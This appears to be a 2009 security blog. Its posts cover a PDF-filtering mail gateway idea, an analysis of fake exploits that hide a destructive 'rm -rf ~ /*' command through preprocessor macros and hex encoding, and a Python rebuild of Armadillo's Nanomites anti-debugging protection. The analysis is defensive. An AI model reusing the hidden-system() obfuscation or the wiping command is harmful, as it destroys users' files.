2009-11-24

Insomni' hack 2010

Hi all,

I've been pretty busy lately but don't trust your RSS reader who tells you that this blog is dead ;)

For my readers near Switzerland: don't miss Insomni'hack 2010!




2009-09-02

Quickpost : pdf filtering email gateway

Back from this summer break, I am heading back at my notes to write new posts. This one will be small and will not contain code as it is only to share an idea I had: writing a PDF filtering email gateway.

This idea came up after reading two posts : nonop's one and fred 's one. In the first one, nonop bring the idea of filtering for malicious PDF on the email gateway in order to protect enterprise's end-users and the second one is dealing with PDF filtering using origami. So putting one and one together, I ended up with the idea of creating a filter for postfix, based on origami.

After a quick look in postfix's documentation about how to create a filtering extensions, I saw that they are simply smtp-proxies. As origami is coded in ruby and it is only a PoC, I choosed rmailfilter as a base for the proxy. Due to a lack of free time I didn't go beyond this point, but by looking at rmailfilter it shouldn't be difficult to implement.

My idea was to filter out (or tag) PDF files,
  • containing javascript --> this should remove most of known vulnerabilities and future ones
  • using unusual features
  • containing shellcodes
It seems to be a good idea but their are some limitations:
  • people are not going to install ruby on their email gateway ;)
  • as stated in fred's post, scanning big files can be really long
  • what if you missed an unusual tag ?
  • what if some functionalities were required by the end-users?
This is the end of this quickpost. The next one should be dealing with firefox extensions.

2009-07-21

Why you should not blindly trust exploits

I received a copy of the fake OpenSSH exploit and I think that this is another example why you should understand exploits and not blindly trust them when you have to deal with them.

This code is pretty long and look just like another exploit, with true pieces of shellcode and calls to sockets' functions. But, look more closely... At the line 245, a call to fremote("PS1='sh-3.2#' /bin/sh") is done and when we look at the definition of fremote, we can see:

#define fremote build_frem(t,e,s,m,y)

build_frem is defined as:

#define build_frem(x,y,a,b,c) a##c##a##x##y##b

Which means that fremote will be replaced by system once the preprocessor processed the file. So if we search all the references to fremote we will end up with:

174: system(jmpcode);
245: system("PS1='sh-3.2#' /bin/sh");

But jmpcode is a shellcode right? Uh no... in fact is just a normal string, except that it is written with the ascii code of the characters.

"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26"
==
rm -rf ~ /* 2> /dev/null &

If you try to launch this exploit on your unix box: pwn! If you want to get the preprocessed version automagicaly, use gcc -E.

Another example that I have in mind is a fake exploit for wuftp that was released in 2001 on vuln-dev. This one was also obfuscated using preprocessor's directives.
At the top of the code we can see:

#define DEF_ALGN 1 * target system
...
#define target (unsigned long)
...
#define ADDR 0x08049588
...
unsigned long arg_addr = ADDR, align = DEF_ALGN,

After preprocessing, this looks like:

unsigned long arg_addr = 0x08049588, align = 1 * (unsigned long) system;

Later on, the address of puts is overwriten with the address of system:

for(i = 0; i < 4; i++)
sprintf((char *)attack+4+i, "%c", (unsigned long)puts >> i * 8 & 0xff);
...
pots = *(unsigned long *)(attack[1] + 2);
...
*(unsigned long *)pots = align;

And finally, puts is called resulting in the destruction of the user's home directory:

puts("echo ~ ok, it seems to have worked... remember: \");
puts("rm -rf is not elite ~");


I hope that this post will makes you think twice before executing an exploit :)

2009-07-08

wargame

Yo,

I'm currently spending all my free time on the intruded.net's wargame so don't be surprised if their is no new post the following weeks.

A series of posts about code coverage with PaiMei and memory based fuzzing is under preparation.

2009-06-16

pyNanomites - part3 : Running the protected binary

Here we are for the last part of this series of posts about a proof of concept implementation of the nanomites protection.
As I said before, we will use a python library in order to implement the debugger. The best way to implement a debugger in python is... pydbg! This library is part of Paimei, a reverse engineering framework created by Pedram Amini and is available for Windows and OS X since a few months. This Swiss army knife will be use a lot of times in this blog and I encourage you to read the documentation and play with it. Here is an extract of the documentation:

PyDbg exposes most of the expected debugger functionality and then some. Hardware / software / memory breakpoints, process / module / thread enumeration and instrumentation, system DLL tracking, memory reading/writing and intelligent dereferencing, stack and SEH unwinding, exception and event handling, endian manipulation routines, memory snapshot and restore functionality, disassembly (libdasm) engine, and more...


The first step in the script will be to retrieve the table from the file. I won't explain this code as it would be useless:


def getJmpTable(filename):
jmpTable = {}
f = open(filename, 'r')
for line in f:
elem = line.rsplit(' ')
jmpTable[elem[0].rstrip('L')] = elem[1].rstrip('\n')
return jmpTable


As pydbg is well written, it is really easy to implement the debugger. The first step is to set a callback for the desired exception, which in our case is the breakpoint exception.


dbg = pydbg()
dbg.set_callback(EXCEPTION_BREAKPOINT, brkHandler)


Then we just have to load the binary into pydbg and launch the process:


dbg.load(os.sys.argv[1])
dbg.debug_event_loop()


Before describing our breakpoint exception's handler, I have to explain something about pydbg. If you look into the source code at pydbg.py:1528 (I'm looking at the OS X version while writting this post) you will see a call to bp_is_ours. This check is a little bit anoying in our case as we want to have our callback call for the breakpoints (int3 instructions) even if they are not set by pydbg. Here you have two options:
  1. modify pydbg code
  2. consider that this is only a POC... and use a loop to set the breakpoints from the table
Back to our handler... When a debugger is attaching to a process, a new thread is created and the function ntdll!DbgBreakPoint is called (more informations can be found on nezumi's blog). This means that the first time our handler is called, we just have to pass.
The next step is to retrieve the context of the thread who triggered the exception and check if eip is corresponding to an address in the table. If it is the case, eip is modified and the context is restored.


def brkHandler(pydbg):
if pydbg.first_breakpoint:
return DBG_CONTINUE
ctx = pydbg.get_thread_context(pydbg.open_thread(pydbg.dbg.dwThreadId))
eip = hex(ctx.Eip).rstrip('L')
if jmpTable.has_key(eip):
ctx.Eip = int(jmpTable[eip], 16)
pydbg.set_thread_context(ctx, pydbg.open_thread(pydbg.dbg.dwThreadId))
return DBG_CONTINUE


That's it, that's all. As you can see it is quite easy to use pefile, pydasm and pydbg in order to implement some POC or help while reverse engineering softwares.

To conclude, two links (hurry up to get the French one before such content become illegal in France...):

2009-06-09

pyNanomites - part2 : Building the protected binary

Now that we saw how the Nanomites protection is working (at least for a basic implementation), I will explain how to code a simple implementation using pefile and pydasm.

First things first: what are pefile and pydasm? Well... they are python libraries! I bet you wouldn't have find it ;) More seriously, pefile is a library allowing to easily work on PE (Portable Executable) files. pydasm is a python interface to libdasm which allows to get the assembly out of binary data.

The first step is to parse the code section of the binary in order to find the jxx instructions (for the simplicity of this POC, only jmp instructions will be replaced). The sections will be enumerated until the one named .text (the code section) is found. This will be done with the sections list generated by pefile when opening a PE file:

pe = pefile.PE(os.sys.argv[1])
for section in pe.sections:
...

To calculate an instruction address, the virtual address of the code section should be added to the image base value and the offset of the instruction. Once a jmp instruction is found, the destination address is retrieved from the instruction and put in the database. This will result in the following code:

for section in pe.sections:
if section.Name.find(".text") != -1:
start = section.VirtualAddress
data = pe.get_memory_mapped_image()[start:start + section.SizeOfRawData]

offset = 0
while offset < len(data):
instr = pydasm.get_instruction(data[offset:], pydasm.MODE_32)
str = pydasm.get_instruction_string(instr, pydasm.FORMAT_INTEL,
start + pe.OPTIONAL_HEADER.ImageBase + offset)
dst = getJmpDest(str)
if len(dst) != 0:
table_jmp[start + pe.OPTIONAL_HEADER.ImageBase + offset] = dst
offset += instr.length


The last part is to change the jmp instructions with int3 instructions. This is simply done by writing 0xCCCC at the instruction's offset using the set_word_at_rva() function from pefile:

for k in table_jmp.keys():
pe.set_word_at_rva(k - pe.OPTIONAL_HEADER.ImageBase, 0xCCCC)
pe.write(os.sys.argv[2])

As this is a simple POC, the table will be written to a text file:

f = open(filename, 'w')
for i in table.keys():
f.write(hex(i))
f.write(" %s\n" % (table[i]))
f.close()

In the last post of this series, we are going to implement the parent process using pydbg.

pyNanomites - part1 : The Nanomites

For the first series of posts, I will be talking about the Nanomites protection used by Armadillo and how to recreate this protection using python.

I will only make a quick explanation and let you read the blog post on ring3circus. Armadillo is using the Debug Blocker technique in order to restraint a debugger to attach. When the protected binary is launched, a second process is created and will attach on the first process. As only one debugger at a time is allowed to debug a process, any other debugger will fail to attach.

Okay... this is not really efficient because you will answer that you just have to detach the debugger and attach your own. I totally agree and so do Armadillo's developers. This is why they invented the Nanomites. The idea is to benefit from the fact that one of the process is attached to the protected one as a debugger and use some functionalities brought by this.

When the binary is passed to Armadillo to protect it, all the jump instructions in user-marked parts of the code section will be replaced by the int3 instruction (user-land breakpoint interrupt) and a database containing the type and address of each jump is created. This database is encrypted several time and protected by multiple anti-reversing protections.

During the process execution, each breakpoint interruption will be catched by the parent process as it is attached as a debugger. The child process' context will be analyzed and the execution flow will by redirected to the corresponding destination address.

I will stop this quick description here and let you read the full description and an explanation on how to bypass it on ring3circus. Next time we will see how to generate the protected binary (ie. replacing jxx by int3) using pefile and pydasm.